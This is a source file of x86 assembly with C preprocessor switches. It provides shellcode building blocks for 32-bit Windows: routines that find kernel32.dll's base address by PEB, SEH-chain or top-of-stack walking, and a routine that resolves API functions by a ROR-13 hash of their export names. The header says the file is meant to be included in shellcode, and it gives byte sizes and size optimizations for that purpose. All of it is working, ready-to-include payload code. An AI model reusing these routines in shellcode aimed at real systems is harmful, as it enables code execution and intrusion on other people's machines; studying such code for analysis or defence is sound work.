/*
 * Overview
 *
 *    1) Finding kernel32.dll base address VMA
 *    2) Finding functions in dynamic libraries.
 *
 * Method Selection
 * 
 *    To use the PEB technique     : -D USE_KERNEL32_METHOD_PEB (default)
 *    To use the SEH technique     : -D USE_KERNEL32_METHOD_SEH
 *    To use the TOPSTACK technique: -D USE_KERNEL32_METHOD_TOPSTACK
 *
 *    To use Windows NT-based only : -D USE_WINNT_ONLY
 *    To eliminate register saves  : -D DISABLE_REGISTER_SAVES
 *    To use inline                ; -D USE_INLINE
 *    To resolve a singular hash   : -D USE_SINGULAR_HASH
 *
 * Notes
 *
 *    Each of these methods are not guaranteed to work.  The PEB technique
 *    is definitely the most likely to work.  The only time it would fail
 *    is if someone is intentionally trying to break shellcode that uses it
 *    or Microsoft changes something.  The SEH is the second most likely,
 *    however, it will fail under scenarios where the last handler does not
 *    point into kernel32.  The TOPSTACK technique can fail if under some 
 *    circumstance the 0x1c offset into the stack does not contain a pointer
 *    into kernel32.  I know of no scenarios where this happens, but it is,
 *    in theory, possible.  Lastly, both the SEH and TOPSTACK methods will
 *    fail if the characters 'MZ' exist at the base of a 64k aligned page 
 *    boundary that does not actually denote the base of the image.
 *
 * Optimizations
 *
 *    These functions preserve registers as much as possible so that they
 *    can be plugged in easily.  If you need to reduce the size you can 
 *    remove some of the register saving instructions.  In some cases this 
 *    can save as many as 4 bytes.
 *
 * Credits
 *
 *    1) Dino Dai Zovi's PEB resolution and function resolution techniques
 *    2) Skywing@freenode and vizzini@freenode for ideas and optimizations 
 *       on the SEH technique
 *    3) optyx for optimizing with me on the top stack technique
 *
 * This file is generally meant to be included in other files.
 *
 * skape
 * mmiller@hick.org
 */

#ifdef DEBUG
int main()
{
#endif

#ifdef USE_ASM_BLOCK
__asm
{
#endif

#if defined(USE_KERNEL32_METHOD_SEH)

	/*
	 * find_kernel32 -- SEH
	 *
	 * size     : 33 bytes
	 * method   : Walk the list of SEH handlers until we find the last one.
	 *            From there we walk down in 64k blocks until we hit the top of 
	 *            kernel32.
	 * targets  : 95/98/ME/NT/2K/XP
	 * arguments: none
	 * return   : eax (kernel32.dll base address)
	 * clobbers : eax
	 */
	find_kernel32:
#ifndef DISABLE_REGISTER_SAVES
		push esi                      // Save esi
		push ecx                      // Save ecx
#endif
		xor  ecx, ecx                 // Zero ecx
		mov  esi, fs:[ecx]            // Snag our SEH entry
		not  ecx                      // Set ecx to 0xffffffff
	find_kernel32_seh_loop:
		lodsd                         // Load the memory in esi into eax
		mov  esi, eax                 // Use this eax as our next pointer for esi
		cmp  [eax], ecx               // Is the next-handler set to 0xffffffff?
		jne  find_kernel32_seh_loop   // Nope, keep going.  Otherwise, fall through.
	find_kernel32_seh_loop_done:
		mov  eax, [eax + 0x04]	      // Snag the function handler address in eax

	find_kernel32_base:
	find_kernel32_base_loop: 
		dec  eax                      // Subtract to our next page
		xor  ax, ax                   // Zero the lower half
		cmp  word ptr [eax], 0x5a4d   // Is this the top of kernel32?
		jne  find_kernel32_base_loop  // Nope?  Try again.
	find_kernel32_base_finished:
#ifndef DISABLE_REGISTER_SAVES
		pop  ecx                      // Restore ecx
		pop  esi                      // Restore esi
#endif
#ifndef USE_INLINE
		ret                           // Return
#endif

#elif defined(USE_KERNEL32_METHOD_TOPSTACK)

	/*
	 * find_kernel32 -- top stack
	 *
	 * size     : 25 bytes
	 * method   : Extract the top of the stack from the TEB.
	 *            0x1c bytes into the stack should hold a vma
	 *            that is inside kernel32.dll.  Grab it and
	 *            walk down in 64k chunks until we hit the top
	 *            of kernel32.dll.
	 * targets  : NT/2K/XP
	 * arguments: none
	 * return   : eax (kernel32.dll base address)
	 * clobbers : eax
	 */
	find_kernel32:
#ifndef DISABLE_REGISTER_SAVES
		push esi                      // Save esi
#endif
		xor  esi, esi                 // Zero esi
		mov  esi, fs:[esi + 0x18]     // Extract TEB
		lodsd                         // Grab a pointer we don't need
		lodsd                         // Grab the top of the stack for this thread
		mov  eax, [eax - 0x1c]        // Snag a function pointer that's 0x1c bytes into the stack

	find_kernel32_base:
	find_kernel32_base_loop: 
		dec  eax                      // Subtract to our next page
		xor  ax, ax                   // Zero the lower half
		cmp  word ptr [eax], 0x5a4d   // Is this the top of kernel32?
		jne  find_kernel32_base_loop  // Nope?  Try again.
	find_kernel32_base_finished:
#ifndef DISABLE_REGISTER_SAVES
		pop  esi                      // Restore esi
#endif
#ifndef USE_INLINE
		ret                           // Return
#endif
	
#else // Default method

	/*
	 * find_kernel32 -- PEB
	 *
	 * size     : 34 bytes
	 * method   : Lookup the PEB and walk one node back in the loaded
	 *            module list.  Extract the base address from this entry.
	 *            It should point to kernel32.dll.
	 * targets  : 95/98/ME/NT/2K/XP
	 * arguments: none
	 * return   : eax (kernel32.dll base address)
	 * clobbers : eax
	 */
	find_kernel32:
#ifndef DISABLE_REGISTER_SAVES
		push  esi                     // Save esi
#endif
		xor   eax, eax
		mov   eax, fs:[eax+0x30]      // Extract the PEB
#ifndef USE_WINNT_ONLY
		test  eax, eax                // Check for Windows 9x
		js    find_kernel32_9x        // If signed short, jump to windows 9x lookup
#endif
	find_kernel32_nt:
		mov   eax, [eax + 0x0c]       // Extract the PROCESS_MODULE_INFO pointer from the PEB
		mov   esi, [eax + 0x1c]       // Get the address of flink in the init module list
		lodsd                         // Load the address of blink into eax
		mov   eax, [eax + 0x8]        // Grab the module base address from the list entry
#ifndef USE_WINNT_ONLY
		jmp   find_kernel32_finished  // Fall down to the bottom
	find_kernel32_9x:
		mov   eax, [eax + 0x34]       // Undocumented offset (0x34)
		lea   eax, [eax + 0x7c]       // Load the address of eax+0x7c to keep us in signed byte range
		mov   eax, [eax + 0x3c]       // Undocumented offset (0xb8)
	find_kernel32_finished:
#endif
#ifndef DISABLE_REGISTER_SAVES
		pop   esi                     // Restore esi
#endif
#ifndef USE_INLINE
		ret                           // Return
#endif

#endif

	/*
	 * find_function
	 *
	 * method   : Walks the export list of the given image
	 *            until it finds a symbol whose hashed name
	 *            matches the one that was passed in.
	 * targets  : 95/98/ME/NT/2K/XP
	 * arguments: [esp + 0x24] (library base address)
	 *            [esp + 0x28] (function hash)
	 * return   : eax (resultant function address)
	 * clobbers : eax
	 */
	find_function:
#ifndef DISABLE_REGISTER_SAVES
		pushad                        // Save all registers
	#ifdef USE_INLINE
		mov   ebp, eax                // Take the base address of kernel32 and put it in ebp
	#else
		mov   ebp, [esp + 0x24]       // Store the base address in eax
	#endif
#else
	#ifdef USE_INLINE
		mov   ebp, eax                // Take the base address of kernel32 and put it in ebp
	#else
		mov   ebp, [esp + 0x4]        // Store the base address in eax if non-inline
	#endif
#endif
		mov   eax, [ebp + 0x3c]       // PE header VMA
		mov   edx, [ebp + eax + 0x78] // Export table relative offset
		add   edx, ebp                // Export table VMA
		mov   ecx, [edx + 0x18]       // Number of names
		mov   ebx, [edx + 0x20]       // Names table relative offset
		add   ebx, ebp                // Names table VMA
	find_function_loop:
		jecxz find_function_finished  // Jump to the end if ecx is 0
		dec   ecx                     // Decrement our names counter
		mov   esi, [ebx + ecx * 4]    // Store the relative offset of the name
		add   esi, ebp                // Set esi to the VMA of the current name 
	compute_hash:
		xor   edi, edi                // Zero edi
		xor   eax, eax                // Zero eax
		cld                           // Clear direction
	compute_hash_again:
		lodsb                         // Load the next byte from esi into al
		test  al, al                  // Test ourselves.
		jz    compute_hash_finished   // If the ZF is set, we've hit the null term.
		ror   edi, 0xd                // Rotate edi 13 bits to the right
		add   edi, eax                // Add the new byte to the accumulator
		jmp   compute_hash_again      // Next iteration
	compute_hash_finished:         
	find_function_compare:           
#ifdef USE_INLINE
	#ifdef USE_SINGULAR_HASH  
		cmp   edi, USE_SINGULAR_HASH  // Compare it to a specific hash
	#else
		cmp   edi, [esp + 0x8]        // Compare the computed hash with the requested hash
	#endif
#else
	#ifdef USE_SINGULAR_HASH
		cmp   edi, USE_SINGULAR_HASH  // Compare it to a specific hash
	#else
		cmp   edi, [esp + 0x28]       // Compare the computed hash with the requested hash
	#endif
#endif
		jnz   find_function_loop      // No match, try the next one.
		mov   ebx, [edx + 0x24]       // Ordinals table relative offset
		add   ebx, ebp                // Ordinals table VMA
		mov   cx, [ebx + 2 * ecx]     // Extrapolate the function's ordinal
		mov   ebx, [edx + 0x1c]       // Address table relative offset
		add   ebx, ebp                // Address table VMA
		mov   eax, [ebx + 4 * ecx]    // Extract the relative function offset from its ordinal
		add   eax, ebp                // Function VMA
#ifndef DISABLE_REGISTER_SAVES
		mov   [esp + 0x1c], eax       // Overwrite stack version of eax from pushad
	find_function_finished:
		popad                         // Restore all registers
#else
	find_function_finished:
#endif
#ifndef USE_INLINE
		ret                           // Return
#endif

#ifdef USE_ASM_BLOCK
}
#endif

#ifdef DEBUG
}
#endif